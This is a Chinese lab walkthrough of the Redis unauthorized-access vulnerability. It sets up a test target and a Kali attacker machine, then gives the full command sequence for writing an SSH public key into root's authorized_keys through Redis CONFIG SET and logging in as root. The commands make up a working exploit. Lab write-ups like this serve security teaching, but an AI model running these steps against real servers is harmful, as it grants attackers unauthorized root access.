漏洞描述
Redis在默认的情况下,会绑定在本地的6379端口上,如果没有采用相关的防火墙策略,就会将Redis服务暴露在公网上;
对Redis配置不当将会导致未授权访问漏洞,从而被攻击者利用。在特定条件下,如果Redis以root身份运行,攻击者可以用root权限的身份写入ssh公钥文件,并通过ssh的方式远程登陆目标服务器,进而导致服务器权限被获取或者是信息泄露等一系列安全问题。
实验环境
Ubuntu18(靶机)
kali2020.1(攻击机)
实验条件
首先,要保证目标机器上安装有redis服务,以及ssh服务,并确保两者都是开启状态。同时,有需要的情况下还应当修改靶机上的ssh配置文件使其允许无密钥的登录;同时,在redis的配置文件中也应当将将protected-mode的那一行设置为no
实验过程
首先,通过redis 的命令连接到目标的redis 的服务上,然后再用info命令检验未授权访问漏洞是否存在。
redis-cli -h x.x.x.x
info
在这里可以看到是能够得到信息的,所以说靶机上的redis服务是存在未授权访问漏洞的。
咱们的目标是要利用这个漏洞然后连接到靶机所以需要现在本机上生成一个ssh的公钥
ssh-keygen -t rsa
然后将生成的密钥保存到本地的一个文件中
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
将公钥写入靶机的redis缓存中
cat key.txt | redis-cli -h 192.168.59.132 -x set xxx
然后更改配置文件,查看一下公钥是否已经导入靶机中。
config set dir /root/.ssh
config set dbfilename authorized_keys
save
然后开启靶机的ssh服务用刚才在生成密钥时在passphrase中输入的密码进行登录,这里我用的就是空密码。
ssh root@192.168.59.132
成功用ssh连到目标机器并获得root权限。试验结束